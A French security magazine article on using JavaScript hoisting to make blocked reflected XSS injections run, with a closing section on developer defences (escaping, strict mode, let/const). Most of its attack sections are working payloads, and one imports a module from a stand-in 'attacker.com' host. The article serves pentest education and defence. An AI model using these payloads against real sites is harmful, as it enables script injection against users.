JS Hoisting : exploiter des XSS « inexploitables »

Magazine
Marque
MISC
Numéro
133
Mois de parution
mai 2024
Spécialité(s)


Résumé

Les Cross-Site Scripting (XSS) restent l'une des vulnérabilités web les plus communes et les plus souvent découvertes en audit, pentest ou Bug Bounty. Certaines peuvent sembler être des faux-positifs, où la réflexion est bien présente dans le DOM, mais hélas l'injection ne se déclenche pas en raison d'erreurs préalables dans le code source... Avant de déclarer forfait en tant qu’auditeur ou hunter, n’est-il pas possible de corriger/réparer le code légitime pour tout de même réussir l’injection ?


Body

1. Introduction et contextualisation

1.1 Erreur de dev… Correction d’attaquant !

Combien de fois un pentester / bug-hunter a subit l’ascenseur émotionnel d’une réflexion DOM-based (sans possibilité de sortir du <script></script> courant) qui au final ne se déclenche pas, car le code JavaScript légitime qui préfixe l’injection sur la page comporte des erreurs ?

Un exemple vaut mieux qu’un long discours :

<html>
    <head></head>
    <body>
        <script>
        myUndefinedFunction("ycam");
        eval(myUndefinedVariable);
        new myUndefinedClass();
 
        var username = "INJECTION";
        </script>
    </body>
</html>

Dans cet exemple, une réflexion est décelée au niveau d’INJECTION. Un attaquant cherchera à démontrer la présence d’une XSS via l’usage d’une charge utile (payload) telle que ";alert(document.domain);//.

Cependant, cette injection XSS ne se déclenchera jamais en l’état, car le bloc dans lequel elle est réfléchie tombe en erreur avant son exécution (figure 1) :

Uncaught ReferenceError: myUndefinedFunction is not defined

hoisting001-s

Fig. 1 : Injection XSS infructueuse avec la levée d’exception ReferenceError.

Et même si cette fonction myUndefinedFunction était définie, les deux instructions qui suivent produiraient des erreurs similaires :

Uncaught ReferenceError: myUndefinedVariable is not defined
Uncaught ReferenceError: myUndefinedClass is not defined

Sans l’usage d’un try / catch, dès lors qu’une exception de type ReferenceError est levée, le code JavaScript de la portée courante s’arrête.

Une telle exception peut être issue d’une négligence du développeur légitime, d’une « faute de frappe », ou encore du fait que la page en question n’est pas censée être invoquée directement, mais est chargée via AJAX dans un contexte déjà établi d’une autre page où toutes les variables / fonctions / classes sont d’ores et déjà référencées et initialisées.

Quoi qu’il en soit, tout n’est pas perdu ! En tant qu’auditeur endossant le rôle d’un attaquant, il est possible d’ajuster le payload de l’injection pour réparer / corriger / fixer le code source erroné et tout de même produire une injection fonctionnelle !

Le concept inhérent au langage JavaScript et à son interprétation dans les navigateurs modernes qui est employé à ces fins se nomme le JavaScript Hoisting [MDN].

1.2 Hoisting Power !

« Hoisting », anglicisme que l’on peut traduire par « remontée » ou « hissage » en JavaScript, correspond au déplacement implicite de la déclaration de toutes les variables, fonctions ou classes en amont de leur portée, avant même l’exécution du code en question.

Il est bien question du déplacement implicite des déclarations, et non pas de leurs initialisations. Ainsi, tous les identifiants (noms de variables, de classes, de fonctions) sont sémantiquement présents avant les lignes de code de la portée courante pour garantir l’absence de confusion entre identifiants de même nom.

Ainsi, en exécutant le code suivant :

<script>
console.log(myUndefVar01);
var myUndefVar01 = 1;
console.log(myUndefVar02);
console.log("ok");
</script>
 
<h1>Séparation des portées</h1>
 
<script>
console.log(myUndefVar01);
console.log(myUndefVar02);
var myUndefVar01 = 2;
var myUndefVar02 = 3;
</script>

Le moteur JavaScript va implicitement remanier la sémantique du code en :

<script>
var myUndefVar01;           // déclaration de myUndefVar01
console.log(myUndefVar01);   // utilisation de myUndefVar01 (sans valeur donc "undefined")
myUndefVar01 = 1;            // initialisation de myUndefVar01
console.log(myUndefVar02);   // utilisation de myUndefVar02 sans déclaration ni
                             // initialisation, donc exception "ReferenceError"
console.log("ok");           // ne sera jamais exécuté car exception juste avant dans
                             // la portée
</script>
 
<h1>Séparation des portées</h1>
 
<script>
var myUndefVar01;           // re-déclaration de myUndefVar01 (existe déjà dans la portée
                               // précédente avec la valeur "1")
var myUndefVar02;           // déclaration de myUndefVar02
console.log(myUndefVar01);   // utilisation de myUndefVar01 (valeur "1")
console.log(myUndefVar02);   // utilisation de myUndefVar01 (sans valeur donc "undefined")
myUndefVar01 = 2;            // modification de la valeur de myUndefVar01 à "2"
myUndefVar02 = 3;            // initialisation de myUndefVar02
</script>

Pour produire le résultat suivant :

undefined
Uncaught ReferenceError: myUndefVar02 is not defined
1
undefined

Il est donc possible, grâce au JavaScript Hoisting, de prévenir le déclenchement d’exceptions en déclarant des variables, fonctions ou classes alors que leur utilisation est faite a priori dans le flux d’exécution du code.

Ce qu’il faut bien comprendre c’est que quand le moteur JavaScript cherche à exécuter un quelconque script, il va en réalité réaliser a minima 2 passes sur celui-ci (pour simplifier) :

  1. une première passe où le code est parsé, afin d’analyser les erreurs de syntaxe, et pour réaliser le hoisting de certaines formes de déclarations où celles-ci sont remontées en amont de la pile d’exécution. Si cette étape est concluante, le moteur poursuit vers l’exécution ;
  2. l’exécution du code remanié et syntaxiquement valide, où les déclarations ont été hissées en amont.

D’après la documentation MDN [MDN], il y a 4 types de hoisting en JavaScript :

  1. pouvoir utiliser la valeur d’une variable dans sa portée avant la ligne sur laquelle elle est déclarée (« levage de valeur ») ;
  2. pouvoir référencer une variable dans sa portée avant la ligne sur laquelle elle est déclarée, sans déclencher de ReferenceError, mais la valeur est toujours indéfinie (« levage de déclaration ») ;
  3. la déclaration de la variable provoque des changements de comportement dans sa portée avant la ligne dans laquelle elle est déclarée ;
  4. les effets secondaires d'une déclaration sont produits avant d'évaluer le reste du code qui la contient.

Les déclarations de fonctions sont hissées avec un comportement de type 1 ; la déclaration var est levée avec un comportement de type 2 ; les déclarations let, const et class (également appelées collectivement déclarations lexicales) sont hissées avec un comportement de type 3 ; les déclarations import sont hissées avec un comportement de type 1 et de type 4.

2. XSS Hoisting pour les attaquants

2.1 Variable hoisting

Le cas classique de hoisting d’une variable s’illustre lorsqu’une injection-réflexion a lieu dans une portée où une variable est utilisée au préalable, sans avoir été déclarée. Exemple :

<script> // Uncaught ReferenceError: myUndefVar is not defined
eval(myUndefVar);
var inject = "INJECTION";
</script>

Dans cet exemple, l’exécution du code au sein de cette portée lèvera une exception Uncaught ReferenceError: myUndefVar is not defined dès la tentative d’utilisation de cette variable myUndefVar qui s’avère non-déclarée et non-initialisée ; empêchant un payload tel que ";alert(1);// de fonctionner.

Ainsi, pour profiter du hoisting de variable et rendre cette injection fonctionnelle, il suffit de déclarer une variable nommée myUndefVar pour que le déclenchement de la XSS s’effectue (figure 2) :

<script>
eval(myUndefVar);
var inject = "INJECTION";var myUndefVar;alert(1);//";
</script>

hoisting002-s

Fig. 2 : Injection XSS prolifique avec hoisting de la variable myUndefVar.

L’usage du mot clé var est nécessaire, car celui-ci, en plus d’assurer une déclaration via hoisting, réalise aussi une initialisation avec undefined qui ne déclenchera pas d’erreur. Let ou const engendreront une erreur de type ReferenceError: can’t access lexical declaration ‘myUndefVar’ before initialization, car ces mots clés remontent bien les déclarations, mais les valeurs restent non-initialisées.

2.2 Fonction hoisting

Le hoisting de fonction est similaire : la déclaration d’une fonction après que l’usage de celle-ci soit fait permet d’éviter la levée d’exception.

<script> // Uncaught ReferenceError: myUndefFunction is not defined
myUndefFunction(13, 37);
var inject = "INJECTION";
</script>

La fonction myUndefFunction est appelée sans être définie, ce qui lève une exception ReferenceError une nouvelle fois.

Ce code peut être « corrigé » via une injection profitant du hoisting tel que :

<script>
myUndefFunction(13, 37);
var inject = "INJECTION";function myUndefFunction(){};alert(1);//";
</script>

Le prototype de la fonction peut être simplifié pour écourter le payload final, sans préciser avec exactitude les paramètres d’entrée / sortie de la fonction.

2.3 Classe hoisting

Concernant les classes, les déclarations de celles-ci sont hoisted, mais elles demeurent non-initialisées tant que non-évaluées [JLA]. Exemple :

<script> // Uncaught ReferenceError: myUndefClass is not defined
var myUndefObject = new myUndefClass();
var inject = "INJECTION";
</script>

Autrement dit, si l’on suit la même logique que pour les variables ou les fonctions comme vues précédemment, le code avec l’injection suivante n’est hélas pas fonctionnel :

<script> // Uncaught ReferenceError: Cannot access 'myUndefClass' before initialization
var myUndefObject = new myUndefClass();
var inject = "INJECTION";class myUndefClass{constructor(){}};alert(1);//";
</script>

Cependant, il est possible de profiter de l’usage de l’opérateur new pour indiquer non pas une classe, mais une fonction à instancier. En effet, en JavaScript, chaque fonction est en réalité un objet Function. Ce qui permet une injection réussie :

<script>
var myUndefObject = new myUndefClass();
var inject = "INJECTION";function myUndefClass(){};alert(1);//";
</script>

2.4 Fonction/objet/attribut : cas de JQuery

Cas concret d’une XSS-hoisting dans un contexte JQuery rencontré lors d’un excellent programme de Bug Bounty. L’usage massivement adopté de la bibliothèque JQuery depuis de nombreuses années engendre des applications web dynamiques, où cette bibliothèque est chargée une fois pour toutes via la première page structurante, et où le contenu de celle-ci est mis à jour via des appels AJAX asynchrones.

Ces appels AJAX GET/POST se traduisent par la récupération d’une réponse pouvant être au format HTML/CSS/JavaScript afin de mettre à jour le DOM de la page. Pas besoin de recharger la bibliothèque JQuery dans le code de ces réponses, car celle-ci est déjà incluse dans le contexte de la page appelante.

hoisting003-s

Fig. 3 : Illustration d’une application basée sur JQuery et appels AJAX.

Lors d’une utilisation légitime d’une telle application (figure 3), les étapes sont les suivantes :

  1. un utilisateur réalise une requête vers le frontend, la page principale de l’application ;
  2. la page index.php charge la bibliothèque JQuery dans son contexte d’exécution ;
  3. cette même page principale effectue un appel AJAX vers /ajax/auth.php accompagné d’un paramètre GET (cette page n’est pas vouée à être appelée directement, mais uniquement de manière asynchrone) ;
  4. la page destination de la requête AJAX génère un rendu, incluant la réflexion du paramètre GET (le point d’injection). Ce rendu utilise une syntaxe JQuery ;
  5. le rendu de l’appel AJAX est récupéré par la page appelante, qui intègre les résultats dans une <div>. Le code JQuery de la page AJAX est ainsi bien exécuté, car la bibliothèque est déjà chargée dans le contexte de la page appelante (étape 2) ;
  6. un attaquant ciblant cette application cherchera à appeler directement la page /ajax/auth.php en incluant un payload dans le paramètre GET. Il devra exploiter le hoisting, car cette page ne charge pas la bibliothèque JQuery n’étant pas vouée à être appelée directement.

On observe en conséquence des réponses AJAX de la forme :

<html>
<head></head>
<body>
<script> // Uncaught ReferenceError: $ is not defined
$(document).ready(function(){
    var inject = "INJECTION";
});
</script>
</body>
</html>

La syntaxe d’appel $(document).ready() est propre à JQuery, et permet d’exécuter le code qu’elle renferme uniquement quand la page a fini de se charger / quand le DOM est prêt.

Seulement, dans le cas présent, l’injection-réflexion est localisée explicitement au sein de ce bloc JQuery ; et la bibliothèque JQuery elle-même n’est pas chargée dans cette source. Une exception est donc levée : Uncaught ReferenceError: $ is not defined.

Cette syntaxe se décortique ainsi :

  • $(document) : fonction nommée $, qui prend l’objet document de la page en paramètre ;
  • .ready() : la fonction $() retourne un objet avec l’attribut .ready, qui est également une fonction.

Pour profiter du hoisting dans un tel cas, il est nécessaire de déclarer tous ces éléments avant de fournir le code à injecter lui-même de la XSS, tout en gardant une syntaxe globale valide.

Ainsi :

  1. on s’échappe du bloc $(document).ready(function(){ via }); ;
  2. on déclare nos éléments à ce niveau pour le hoisting, ainsi que notre payload XSS final ;
  3. puis on corrige la syntaxe globale en réouvrant ({.

Pour le hoisting en lui-même :

  1. on déclare une fonction $() ;
  2. celle-ci doit retourner un objet ;
  3. cet objet doit avoir un attribut ready ;
  4. cet attribut ready est une fonction (dont le retour importe peu).

Ce qui donne :

<html>
<head></head>
<body>
<script>
$(document).ready(function(){
    var inject = "INJECTION";});function $(){return{ready:()=>0}};alert(1);({//";
});
</script>
</body>
</html>

2.5 Objets, propriétés et attributs imbriqués en profondeur…

2.5.1 Injection post-accesseurs : KO ?

Les accesseurs de propriétés via l’usage du caractère . ou des [] sur des objets ne sont hélas pas hissés (not-hoisted).

Ainsi, il n’est pas aisé de rendre une injection prolifique via du hoisting pour des cas tels que :

<script> // Uncaught ReferenceError: undef01 is not defined
undef01.undef02();
var inject = "INJECTION";
</script>

Contrairement au cas précédent avec JQuery, undef01 est un objet (et non pas une fonction JQuery). Ainsi, en cherchant à profiter du hoisting, il est possible de définir undef01, mais pas undef02 étant une propriété…

<script> // Uncaught TypeError: undef01.undef02 is not a function
undef01.undef02();
var inject = "INJECTION";function undef01(){return{undef02:()=>0}};//";
</script>

Un tel cas ne semble pas exploitable pour produire une XSS fonctionnelle...

2.5.2 Injection dans les paramètres d’un accesseur : OK !

Un cas de hoisting est cependant possible lorsque l’injection est localisée en tant que paramètre de la fonction elle-même, tel que [JGA][JCA] :

<script> // Uncaught ReferenceError: undef01 is not defined
undef01.undef02("INJECTION");
</script>

Dans le cas présent, il est possible de déclarer undef01 et de réaliser l’injection dans les paramètres de l’appel de undef02 qui reste pourtant undefined :

<script> // Uncaught TypeError: undef01.undef02 is not a function
undef01.undef02("INJECTION"+alert(1));function undef01(){}//");
</script>

La précédente injection via un accesseur de propriété indéfinie fonctionne, car :

  1. le moteur JavaScript remonte (hoist) la déclaration de undef01 ;
  2. exécution de « get property undef02 » de « undef01 » (ce qui retourne undefined) ;
  3. évaluation des paramètres de la fonction avant même de savoir si l’objet est bien une fonction, donc exécution de alert(1) ;
  4. exécution de undef01.undef02() qui tombe en erreur, car undef02 est undefined et n’est pas une fonction ; mais cela importe peu, car l’injection s’est déclenchée à l’étape d’avant.

Résultats similaires pour l’utilisation des [] pour accéder aux propriétés :

<script>
undef01['undef02','INJECTION'+alert(1)];function undef01(){};//'];
</script>

2.5.3 Multi-imbrications (nested objects)...

L’imbrication multiple d’objets et d’accesseurs peut accentuer la difficulté de hoisting en vue de faire une injection fonctionnelle. Un exemple tel que le suivant peut paraître inexploitable :

<script type="module"> // Uncaught ReferenceError: undef01 is not defined
undef01.undef02.undef03.undef04.undef05();
var inject = "INJECTION";
</script>

La spécificité ici, qui rend l’exploitation possible, est le typage de la balise <script type="module">, où le bloc est défini comme un module JavaScript [MOD] ; ce qui laisse la possibilité d’employer le mot clé import [JOA][JCA].

Ainsi, il est possible de définir un module.js hébergé sur le site de l’attaquant-auditeur, « réparant » l’entièreté des déclarations du code. Exemple de module.js :

// module.js
var undef01 = {
  undef02: {
    undef03: {
      undef04: {
        undef05: function() {
          alert(1);
        }
      }
    }
  }
};
 
export { undef01 };

Puis une injection avec import tel que :

<script type="module">
undef01.undef02.undef03.undef04.undef05();
var inject = "INJECTION";import {undef01} from "https://attacker.com/module.js"//";
</script>

Le mot clé import, utilisable dans les blocs JavaScript déclarés en tant que module, est à bien différencier de l’expression dynamique import(). La documentation MDN indique clairement que les instructions import sont hoisted avec les règles 1 et 4 : ces instructions sont remontées au début de la pile d’exécution et, surtout, exécutées avant toutes les autres.

Le module.js pourrait donc être simplifié en intégrant uniquement le payload XSS final :

// module.js
alert(1);

Avec une injection telle que :

<script type="module">
undef01.undef02.undef03.undef04.undef05();
var inject = "INJECTION";import "https://attacker.com/module.js"//";
</script>

Ou encore en version one-liner sans même l’utilisation d’un script hébergé sur un serveur tiers :

<script type="module">
undef01.undef02.undef03.undef04.undef05();
var inject = "INJECTION";import "data:text/jscript,alert(1)"//";
</script>

2.6 Déclaration + initialisation : hijack de fonction !

Dans les cas où toutes les tentatives de hoisting s’avèrent infructueuses, trop complexes ou inefficientes, la technique du hoisting-hijacking de fonction peut débloquer la situation [BRU].

En reprenant l’exemple précédent sans que celui-ci soit typé en module (donc impossibilité d’utiliser import), avec une multi-imbrication d’accesseurs de propriétés tous indéfinis, le hoisting ne paraît pas fructueux.

Cependant, si une quelconque fonction JavaScript est appelée en amont de la ReferenceError, fonction personnalisée ou native au langage, alors il est possible de profiter du hoisting pour la redéfinir et en altérer le comportement.

<script> // Uncaught ReferenceError: undef01 is not defined
var user = atob(new URLSearchParams(window.location.search).get("user"));
undef01.undef02.undef03.undef04.undef05(user);
var inject = "INJECTION";
</script>

Dans cet exemple, la portée courante réalise un appel à atob(), fonction native de JavaScript pour décoder une chaîne en Base64, juste avant la levée de l’exception ReferenceError précédant elle-même le point d’injection.

Dans un tel cas, le hoisting reste l’allié de l’attaquant-auditeur en redéfinissant la fonction atob() elle-même, avec le code de son choix :

<script>
var user = atob(new URLSearchParams(window.location.search).get("user"));
undef01.undef02.undef03.undef04.undef05(user);
var inject = "INJECTION";function atob(){alert(1);}//";
</script>

À l’exécution, l’appel de atob() se traduira par une injection arbitraire réussie.

Il est également possible, via ce hijack de fonction en amont, de réparer l’ensemble du code en profitant du hoisting pour déclarer undef01 en tant que variable globale, puis en définissant chacun des accesseurs de propriétés dans le corps de la fonction atob() redéfinie tel que :

<script>
var user = atob(new URLSearchParams(window.location.search).get("user"));
undef01.undef02.undef03.undef04.undef05(user);
var inject = "INJECTION";var undef01;function atob(){undef01={undef02:{undef03:{undef04:{undef05:function(){}}}}};};alert(1);//";
</script>

3. La prévention pour les développeurs

La première prévention à ce type d’injection, qui n’en reste pas moins qu’une XSS, reste bien évidemment de protéger la réflexion de l’entrée utilisateur. « Never trust user input » demeure l’adage par excellence. Ainsi : échapper, encoder, normaliser, contrôler, nettoyer...

À cela, de bonnes pratiques additionnelles de développement, notamment en JavaScript, sont conseillées. En particulier avec les nouveautés introduites dans le langage ces dernières années telles que l’usage du mode strict et des mots clés let ou const [DIG].

3.1 Bref rappel historique

Le « JavaScript » a été conçu initialement en une dizaine de jours en 1995 par Brendan Eich chez Netscape. À l’origine appelé « LiveScript » il a été renommé en « JavaScript » pour des raisons marketing.

Ce langage permettant de dynamiser les pages web rencontre un grand succès avec le navigateur Netscape 2.0 en 1996. Microsoft s’empresse de produire sa propre implémentation, nommée « JScript » avec son navigateur IE3.0 en août 1996.

Netscape propose en fin d’année 1996 à l’organisme ECMA de standardiser le langage. C’est donc en 1997 que le standard « ECMAScript » voit le jour.

« ECMAScript » est une norme, ce à quoi « JavaScript » ou « JScript » en sont des implémentations. L’ECMA a standardisé le langage et non pas les interactions / implémentations faites en fonction des navigateurs, dont ce rôle revient au W3C.

Le cycle de vie et de mises à jour des navigateurs a grandement évolué et s’est accéléré ces dernières années, influant sur celui du standard ECMA qui sort une nouvelle version chaque année depuis 2015 [ANI].

De nouvelles fonctionnalités, notions et mots clés du langage sont apparus conjointement avec ces évolutions ECMA, qui permettent de durcir et d’optimiser le code pour freiner les éventuelles injections qui profiteraient du hoisting.

3.2 ES5 (2009) strict-mode

La version ECMAScript 2009 (ES5) du standard introduit la notion de strict-mode [STM]. En activant ce mode dans les scripts JS, le développeur opte pour une variante restreinte du langage qui ne tolère pas l’utilisation de variables avant qu’elles ne soient déclarées ; réduisant en conséquence les abus liés au hoisting.

En déclarant un code en mode strict, cela permet :

  • d’éliminer certaines erreurs JavaScript silencieuses en levant des erreurs explicites au sein de l’interpréteur ;
  • de corriger des erreurs qui complexifient la tâche d’optimisation du moteur JS ;
  • d’interdire certaines syntaxes pouvant être conflictuelles avec de futures versions du langage.

L’activation du strict-mode s’effectue en ajoutant l’instruction suivante en amont d’un fichier JS ou d’une fonction :

'use strict';
// OU
"use strict";

3.3 ES6 (2015) let / const

ECMAScript 2015 (ES6) introduit quelques changements d’importance dans le langage concernant la déclaration et l’initialisation des variables avec de nouveaux mots clés.

3.3.1 let

Le mot clé let [LET] permet la déclaration de variable (tout comme var). Cependant, avec let, la portée de déclaration est dans le périmètre du bloc courant et non pas dans le périmètre de la fonction elle-même.

De plus, avec l’usage du mot clé let, cela force à toujours déclarer une variable avant son utilisation. Il n’est pas possible de profiter du hoisting avec let : l’interpréteur lèvera une Reference error.

let force donc à toujours déclarer puis assigner une valeur à une variable (initialisation) avant de pouvoir l’utiliser.

3.3.2 const

Idem, le mot clé const [CON] a également été introduit avec ES6 pour permettre les variables immuables, dont la valeur ne peut être modifiée une fois assignée.

L’interpréteur lève automatiquement une erreur si une constante est utilisée avant sa déclaration et son initialisation.

Avec une approche de réduction de la surface d’attaque et de limiter les portées des variables au strict nécessaire et suffisant, il est donc recommandé pour les développeurs d’employer les mots clés let et const au détriment de var.

Conclusion

Le JavaScript hoisting est une fonctionnalité du langage qui peut être abusée pour « réparer » un code générant des erreurs afin de disposer d’une injection prolifique selon la vision d’un attaquant.

En guise de synthèse, point de vue auditeur :

  • si une injection est présente après une variable ou une fonction indéfinie, il est possible de la déclarer et de contourner la « undeclared error » pour déclencher la XSS grâce au JavaScript hoisting ;
  • ne pas employer let ou const pour ce type d’injection, privilégier var ;
  • toutes les déclarations hoisted via var sont automatiquement initialisées avec undefined ;
  • si l’injection a lieu après un new constructor, ne pas déclarer une class, mais une Function ;
  • si l’injection a lieu après un élément qui utilise les accesseurs de propriétés, l’exploitation n’est pas possible sauf dans un bloc JavaScript de type module avec l’usage du mot clé import ;
  • dans tous les cas, la réécriture d’une fonction personnalisée ou native du langage qui est appelée avant permet de contourner toutes les restrictions.

Pour les développeurs, JavaScript protège des dérives d’injection liées au hoisting via l’usage des mots clés let ou const, qu’il est recommandé d’employer conjointement avec le strict-mode pour un développement plus qualitatif et en prévention d’attaques de type XSS abusant des mécanismes du hoisting.

Pour terminer, je tenais finalement à remercier mon cher @chackal pour les cas toujours plus tricky d’injections qu’on trouve et creuse ensemble, @jo / @kwilyine pour leurs relectures attentives et @zancrows pour sa patience en éprouvant et subissant mes challenges JS toujours plus alambiqués et capillotractés.

Références

[MDN] Mozilla, Hoisting, https://developer.mozilla.org/en-US/docs/Glossary/Hoisting

[DIG] DigitalOcean, Understanding Hoisting in JavaScript,
https://www.digitalocean.com/community/tutorials/understanding-hoisting-in-javascript

[JCA] Johan Carlsson, Having some fun with JavaScript hoisting,
https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/

[JLA] Jorge Lajara, Javascript Hoisting in XSS Scenarios,
https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios

[BRU] BruteLogic, XSS With Hoisting,
https://brutelogic.com.br/blog/xss-with-hoisting/

[MOD] Mozilla, JavaScript modules,
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules

[JGA] Justin Gardner @Rhynorater, x.y(1,INJECT); challenge,
https://twitter.com/Rhynorater/status/1722636015070744713

[JOA] Johan Carlsson @joaxcar, x.y.z("test-INJECT"); challenge,
https://twitter.com/joaxcar/status/1730558718754840613

[ANI] Alexandre Niveau, Nouveautés ECMAScript 5, 6, 7, 8,
https://ensweb.users.info.unicaen.fr/pres/es7/

[STM] Mozilla, Strict mode,
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode

[LET] Mozilla, let, https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let

[CON] Mozilla, const, https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const



Article rédigé par

Par le(s) même(s) auteur(s)

DisseXSSion d’un payload générique

Magazine
Marque
MISC
Numéro
125
Mois de parution
janvier 2023
Spécialité(s)
Résumé

Les vulnérabilités XSS, omniprésentes et très communément remontées lors d’audits de sécurité, pentests et Bug Bounty, restent mal considérées et sous-évaluées. Les protections et spécificités des navigateurs modernes ainsi que les contre-mesures applicatives complexifient la conception de payloads génériques. Cet article vise à présenter la dissection d’un payload dans un contexte (très) contraint et filtré rencontré lors d’un audit.

Les derniers articles Premiums

Les derniers articles Premium

PostgreSQL au centre de votre SI avec PostgREST

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Dans un système d’information, il devient de plus en plus important d’avoir la possibilité d’échanger des données entre applications. Ce passage au stade de l’interopérabilité est généralement confié à des services web autorisant la mise en œuvre d’un couplage faible entre composants. C’est justement ce que permet de faire PostgREST pour les bases de données PostgreSQL.

La place de l’Intelligence Artificielle dans les entreprises

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

L’intelligence artificielle est en train de redéfinir le paysage professionnel. De l’automatisation des tâches répétitives à la cybersécurité, en passant par l’analyse des données, l’IA s’immisce dans tous les aspects de l’entreprise moderne. Toutefois, cette révolution technologique soulève des questions éthiques et sociétales, notamment sur l’avenir des emplois. Cet article se penche sur l’évolution de l’IA, ses applications variées, et les enjeux qu’elle engendre dans le monde du travail.

Petit guide d’outils open source pour le télétravail

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Ah le Covid ! Si en cette période de nombreux cas resurgissent, ce n’est rien comparé aux vagues que nous avons connues en 2020 et 2021. Ce fléau a contraint une large partie de la population à faire ce que tout le monde connaît sous le nom de télétravail. Nous avons dû changer nos habitudes et avons dû apprendre à utiliser de nombreux outils collaboratifs, de visioconférence, etc., dont tout le monde n’était pas habitué. Dans cet article, nous passons en revue quelques outils open source utiles pour le travail à la maison. En effet, pour les adeptes du costume en haut et du pyjama en bas, la communauté open source s’est démenée pour proposer des alternatives aux outils propriétaires et payants.

Sécurisez vos applications web : comment Symfony vous protège des menaces courantes

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Les frameworks tels que Symfony ont bouleversé le développement web en apportant une structure solide et des outils performants. Malgré ces qualités, nous pouvons découvrir d’innombrables vulnérabilités. Cet article met le doigt sur les failles de sécurité les plus fréquentes qui affectent même les environnements les plus robustes. De l’injection de requêtes à distance à l’exécution de scripts malveillants, découvrez comment ces failles peuvent mettre en péril vos applications et, surtout, comment vous en prémunir.

Les listes de lecture

11 article(s) - ajoutée le 01/07/2020
Clé de voûte d'une infrastructure Windows, Active Directory est l'une des cibles les plus appréciées des attaquants. Les articles regroupés dans cette liste vous permettront de découvrir l'état de la menace, les attaques et, bien sûr, les contre-mesures.
8 article(s) - ajoutée le 13/10/2020
Découvrez les méthodologies d'analyse de la sécurité des terminaux mobiles au travers d'exemples concrets sur Android et iOS.
10 article(s) - ajoutée le 13/10/2020
Vous retrouverez ici un ensemble d'articles sur les usages contemporains de la cryptographie (whitebox, courbes elliptiques, embarqué, post-quantique), qu'il s'agisse de rechercher des vulnérabilités ou simplement comprendre les fondamentaux du domaine.
Voir les 68 listes de lecture

Abonnez-vous maintenant

et profitez de tous les contenus en illimité

Je découvre les offres

Déjà abonné ? Connectez-vous